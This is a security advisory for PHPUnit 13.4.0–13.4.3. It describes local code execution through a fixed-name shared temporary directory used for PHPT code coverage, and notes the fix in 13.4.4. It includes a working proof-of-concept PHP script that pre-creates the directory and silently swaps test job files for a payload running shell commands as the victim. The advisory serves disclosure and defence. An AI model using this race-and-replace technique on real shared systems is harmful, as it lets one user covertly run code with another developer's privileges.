GHSA-9vw2-f4vp-x7gf

Suggest an improvement
Source
https://github.com/advisories/GHSA-9vw2-f4vp-x7gf
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-9vw2-f4vp-x7gf/GHSA-9vw2-f4vp-x7gf.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-9vw2-f4vp-x7gf
Aliases
Published
2026-10-30T23:01:21Z
Modified
2026-10-30T23:15:05Z
Severity
  • 5.4 (Medium) CVSS_V4 - CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N CVSS Calculator
Summary
PHPUnit vulnerable to code execution by other local users via shared temporary directory in PHPT code coverage handling
Details

Summary

When PHPT tests are run with code coverage, PHPUnit 13.4.0 to 13.4.3 writes the code of each PHPT test to a directory with a fixed name below the operating system's path used for temporary files, for instance /tmp/phpunit-phpt on Linux, and executes it from there. PHPUnit uses this directory even when it was created by another user.

On a system where the path used for temporary files is shared between users, another local user can create this directory before the developer runs PHPUnit, replace the code of a PHPT test before it is executed, and thereby execute arbitrary code with the privileges of the developer. The test still passes and the code coverage report is complete, so the attack is not visible.

The impact is full code execution as the user who runs PHPUnit. The likelihood is low: the attacker needs an account on the same system and must create the directory before the developer runs PHPT tests with code coverage. macOS and Windows use per-user temporary directories by default and are not affected in their default configuration. PHPUnit 12.5 and earlier are not affected.

Details

When code coverage is collected for a PHPT test, PHPUnit writes two temporary files: a .php file with the code of the PHPT test (the "job" file), which the child process executes, and a .coverage file, to which the child process writes the code coverage data it collected.

Since PHPUnit 13.4.0, these files are created in a directory with a fixed name:

Before a PHPT test is run with code coverage, this directory is created using Filesystem::createDirectory(). Filesystem::createDirectory() returns true when the directory already exists, without checking its owner or its permissions. When it does not exist, it is created with mode 0777 (subject to the umask).

Renderer::renderForCoverage() then writes the job file using file_put_contents(). The child process loads Composer's autoloader, the bootstrap script, and the code coverage driver, and then executes the job file using require.

When another user created the directory, that user owns it. The owner of a directory can list its contents and rename, delete, or replace every file in it, regardless of who owns the file. The directory does not have the sticky bit set, so protections such as Linux's fs.protected_regular and fs.protected_symlinks do not apply either. The random part of the file names therefore does not prevent the attack: the attacker waits for the job file to appear, renames it, and puts a file with their own code in its place. The attacker's code can then execute the original job file, so that the test passes and the code coverage report is complete.

The .coverage file can be replaced in the same way. TestCase::cleanupForCoverage() only allows objects of PHPUnit's class for raw code coverage data to be unserialized from it, so this only allows the falsification of code coverage data.

After the test, PHPUnit deletes both files, but not the directory. Once PHPUnit has created the directory for the developer, other users cannot write to it, unless the developer's umask allows this.

PHPUnit 12.5 and earlier are not affected: these versions write the temporary files next to the PHPT test file.

PHPUnit 13.4.4 creates the directory for the temporary files of PHPT tests with an unpredictable name and with permissions that only allow the current user to access it. A directory that already exists is not used.

Proof of concept

The following steps reproduce the issue on a Linux system with two users, alice (the developer) and mallory (the attacker), that share /tmp. They require PHP 8.4.1 or later with the posix extension and a code coverage driver (PCOV or Xdebug) as well as Composer.

  1. As root, create the two users and make sure that /tmp has its default permissions (1777) and that /tmp/phpunit-phpt does not exist:

    useradd -m alice
    useradd -m mallory
    ls -ld /tmp
    rm -rf /tmp/phpunit-phpt
    
  2. As alice, create a project with a PHPT test and a source file to collect code coverage for:

    mkdir -p ~/project/src ~/project/tests
    cd ~/project
    composer require --dev phpunit/phpunit:13.4.3
    

    ~/project/src/Greeter.php:

    <?php declare(strict_types=1);
    final class Greeter
    {
        public function greet(): string
        {
            return 'ok';
        }
    }
    

    ~/project/tests/greeter.phpt:

    --TEST--
    PHPT test that is run with code coverage
    --FILE--
    <?php declare(strict_types=1);
    require __DIR__ . '/../src/Greeter.php';
    print (new Greeter)->greet();
    --EXPECT--
    ok
    

    ~/project/phpunit.xml:

    <?xml version="1.0" encoding="UTF-8"?>
    <phpunit xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:noNamespaceSchemaLocation="vendor/phpunit/phpunit/phpunit.xsd">
        <source>
            <include>
                <directory>src</directory>
            </include>
        </source>
    </phpunit>
    
  3. As mallory, save the following script as ~/attack.php and run it using php ~/attack.php. It creates /tmp/phpunit-phpt, waits for job files to appear in it, and replaces each of them with code that records the identity of the user that executes it and then executes the original job file:

    <?php declare(strict_types=1);
    $directory = '/tmp/phpunit-phpt';
    
    if (!@mkdir($directory)) {
        exit($directory . ' already exists' . PHP_EOL);
    }
    
    chmod($directory, 0777);
    
    $payload = '<?php file_put_contents(__DIR__ . "/proof.txt", shell_exec("id"), FILE_APPEND); require __FILE__ . ".orig";' . PHP_EOL;
    $replaced = [];
    
    while (true) {
        foreach (glob($directory . '/phpunit_phpt_*.php') as $job) {
            if (isset($replaced[$job])) {
                continue;
            }
    
            $replaced[$job] = true;
    
            file_put_contents($directory . '/payload.tmp', $payload);
            rename($job, $job . '.orig');
            rename($directory . '/payload.tmp', $job);
    
            print 'Replaced ' . $job . PHP_EOL;
        }
    
        usleep(1000);
    }
    
  4. As alice, run the PHPT test with code coverage (when Xdebug is used, prefix the command with XDEBUG_MODE=coverage):

    cd ~/project
    vendor/bin/phpunit --coverage-text tests/greeter.phpt
    

    PHPUnit reports OK (1 test, 1 assertion), and the code coverage report shows that Greeter::greet() is covered. Nothing in the output indicates that the code of the test was replaced.

  5. Check which user executed the code that mallory put in place:

    cat /tmp/phpunit-phpt/proof.txt
    

    The file is owned by alice and contains the output of id for alice, for instance:

    uid=1000(alice) gid=1000(alice) groups=1000(alice)
    

Impact

This is a local privilege escalation (CWE-379: Creation of Temporary File in Directory with Incorrect Permissions). A local user can execute arbitrary code with the privileges of another user who runs PHPT tests with code coverage. This gives the attacker access to everything the developer can access, for instance source code, credentials, and SSH keys.

Affected are users of PHPUnit 13.4.0 to 13.4.3 when all of the following apply:

  • PHPT tests with code coverage: PHPT tests are run while code coverage is collected, which requires a code coverage driver such as PCOV or Xdebug
  • Shared path for temporary files: The path used for temporary files (sys_get_temp_dir()) is shared between users. This is the case on Linux and other Unix-like systems with a shared /tmp, unless per-user temporary directories are used, for instance through systemd's PrivateTmp, pam_namespace, or a per-user TMPDIR. On macOS and Windows, the path used for temporary files is specific to the user by default
  • Local account: The attacker has an account on the same system, or controls a process that runs under another account, for instance a service
  • First to create the directory: The attacker creates the directory before the developer runs PHPT tests with code coverage for the first time since the path used for temporary files was last cleaned

Systems on which no other user, including system accounts that run services, can create files in the path used for temporary files are not affected. This is typically the case for a container or an ephemeral CI runner that is used by a single user.

Database specific
{
    "cwe_ids":  [
        "CWE-379"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-10-30T23:01:21Z",
    "nvd_published_at":  "2026-10-29T20:17:30Z",
    "severity":  "MODERATE"
}
References

Affected packages

Packagist / phpunit/phpunit

Package

Name
phpunit/phpunit
Purl
pkg:composer/phpunit/phpunit

Affected ranges

Type
ECOSYSTEM
Events
Introduced
13.4.0
Fixed
13.4.4

Affected versions

13.*
13.4.0
13.4.1
13.4.2
13.4.3

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-9vw2-f4vp-x7gf/GHSA-9vw2-f4vp-x7gf.json"